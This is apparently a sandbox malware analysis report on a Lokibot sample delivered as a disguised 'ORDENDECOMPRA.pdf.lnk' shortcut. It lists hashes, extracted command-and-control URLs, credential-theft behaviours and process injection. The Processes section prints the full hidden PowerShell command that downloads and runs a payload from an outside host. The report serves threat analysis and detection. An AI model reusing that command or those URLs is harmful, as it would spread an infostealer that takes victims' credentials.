Analysis
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max time kernel
127s -
max time network
128s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
27-11-2024 18:20
Static task
static1
Behavioral task
behavioral1
Sample
ORDENDECOMPRA.pdf.lnk
Resource
win7-20240729-en
General
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Target
ORDENDECOMPRA.pdf.lnk
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Size
2KB
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MD5
3efc7482d963e194a7524ea6918c0912
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SHA1
d24544bc9eca9b444aa471409f6f60c49e8ca88b
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SHA256
6ad3893d400a4e64de9042bd306b8d346e89f2966d417ee431ceb635e7e608b3
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SHA512
6b41f1efa74f1655b60ca1bbd4e5831c1e6f314aa87f5af86ab3818f4dde9d551bab95ed58b7f267da8accc9cede878ea1b147345c0ee9111368e8f34364bcf7
Malware Config
Extracted
https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe
Extracted
lokibot
http://45.149.241.168/fujfygidj/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
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Lokibot family
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 5 2640 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
Processes:
cisencb.execisencb.execisencb.exepid Process 2460 cisencb.exe 864 cisencb.exe 2952 cisencb.exe -
Loads dropped DLL 2 IoCs
Processes:
cisencb.exepid Process 2460 cisencb.exe 2460 cisencb.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
cisencb.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cisencb.exe Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook cisencb.exe Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook cisencb.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
cisencb.exedescription pid Process procid_target PID 2460 set thread context of 864 2460 cisencb.exe 32 PID 2460 set thread context of 2952 2460 cisencb.exe 33 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
cisencb.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cisencb.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid Process 2640 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.execisencb.execisencb.exedescription pid Process Token: SeDebugPrivilege 2640 powershell.exe Token: SeDebugPrivilege 2460 cisencb.exe Token: SeDebugPrivilege 864 cisencb.exe -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
cmd.exepowershell.execisencb.exedescription pid Process procid_target PID 1164 wrote to memory of 2640 1164 cmd.exe 30 PID 1164 wrote to memory of 2640 1164 cmd.exe 30 PID 1164 wrote to memory of 2640 1164 cmd.exe 30 PID 2640 wrote to memory of 2460 2640 powershell.exe 31 PID 2640 wrote to memory of 2460 2640 powershell.exe 31 PID 2640 wrote to memory of 2460 2640 powershell.exe 31 PID 2640 wrote to memory of 2460 2640 powershell.exe 31 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 864 2460 cisencb.exe 32 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 PID 2460 wrote to memory of 2952 2460 cisencb.exe 33 -
outlook_office_path 1 IoCs
Processes:
cisencb.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook cisencb.exe -
outlook_win_path 1 IoCs
Processes:
cisencb.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cisencb.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ORDENDECOMPRA.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hiDdEN Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe','cisencb.exe');./'cisencb.exe';(get-item 'cisencb.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Users\Admin\AppData\Local\Temp\cisencb.exe"C:\Users\Admin\AppData\Local\Temp\cisencb.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:864
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C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
PID:2952
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
304KB
MD57276a0dcaae1d1f2a2a11f62d16e42e7
SHA14894be1a0bd7f22c98ebf64010dc18b2507ffe5b
SHA2568d74d292b8ed44d953b770caab1bc93de9b08f59e812570600e30843db82529b
SHA51240ecd379e93944606b3d99f3fa03c7394e41c543c55b5604add444c80ed9793c6315e9e0ea4f6935beafb85bf29c53624ceba49379425dca167a6e36c677e2b0
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2703099537-420551529-3771253338-1000\0f5007522459c86e95ffcc62f32308f1_4b15cc6c-8bd6-4727-90f6-cf303c4bde6d
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2703099537-420551529-3771253338-1000\0f5007522459c86e95ffcc62f32308f1_4b15cc6c-8bd6-4727-90f6-cf303c4bde6d
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b